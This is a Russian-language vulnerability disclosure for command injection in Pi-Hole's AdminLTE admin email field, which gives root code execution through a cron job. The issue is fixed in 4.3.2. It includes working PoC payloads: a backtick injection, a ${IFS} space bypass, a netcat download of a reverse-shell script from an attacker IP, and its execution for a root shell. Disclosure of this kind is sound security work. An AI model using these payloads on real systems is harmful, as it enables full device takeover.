
Версия Pi-Hole 4.3.2 содержит исправление этой уязвимости: https://github.com/pi-hole/AdminLTE/pull/974
Огромное спасибо команде разработчиков Pi-Hole за их замечательный проект и за то, что сделали процесс сообщения об уязвимости таким простым!
Через описанные уязвимости в компоненте "AdminLTE" можно удалённо получить root-доступ на устройстве RaspberyPi (или на любом другом устройстве/ВМ, где работает приложение). Для эксплуатации требуются административный доступ/учётные данные к веб-интерфейсу AdminLTE.
В частности, можно обойти проверки регулярных выражений и внедрить произвольные команды в поле «Адрес электронной почты администратора». Эти команды, в свою очередь, сохраняются в "/etc/pihole/setupVars.conf", после чего они обрабатываются и выполняются с привилегиями root заданием cron.d «/usr/local/bin/pihole updatechecker local», запускающимся каждые 10 минут.
Атакующему приходится ждать 10-минутного интервала cron-задания «/etc/cron.d/pihole» для выполнения команды/кода.
Надеемся, приведённые ниже детали и PoC помогут вам проверить и воспроизвести проблему.
После аутентификации в веб-приложении атакующему необходимо обойти несколько серверных проверок, чтобы успешно внедрить команду.
В «savesettings.php», на строке L:499, управляемая пользователем переменная «$adminemail» проверяется с помощью внутренней PHP-функции FILTER_VALIDATE_EMAIL, которая обладает относительно слабыми проверками.
Затем можно обойти эту проверку и продемонстрировать внедрение команды, просто заключив набор обратных кавычек в двойные кавычки. Например, введите следующее в качестве адреса электронной почты администратора:
"`test>/tmp/poc_proof.txt`"@example.com

В течение 10 минут в «/tmp/poc_proof.txt» будет создан принадлежащий root файл, содержащий «test», с привилегиями root.

Чтобы выполнять дальнейшие значимые атаки, необходимо также обойти ограничение на пробелы (которые не являются допустимыми символами электронной почты и отлавливаются функцией FILTER_VALIDATE_EMAIL). Для этого использовалась внутренняя переменная Linux ${IFS} (которая по умолчанию соответствует пробелу в большинстве UNIX-систем).
PoC:
*Примечание: это можно автоматизировать одной строкой с использованием грамматики POSIX shell, например &&, || ...
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

HTTP-запрос будет выглядеть следующим образом при просмотре через HTTP-прокси:

Подождите 10 минут, пока cron-задание выполнится и загрузит скрипт, или, для целей воспроизведения, выполните вручную /usr/local/bin/pihole updatechecker local. Также можно проверить внедрённую команду в "/etc/pihole/setupVars.conf" (она находится в переменной ADMIN_EMAIL).
nc -nvlp 4445
“`python${IFS}/tmp/revshell.py`”@example.com
Снова подождите 10 минут (или выполните cron-скрипт вручную для воспроизведения проблемы), и вы получите root-shell на своей атакующей машине.
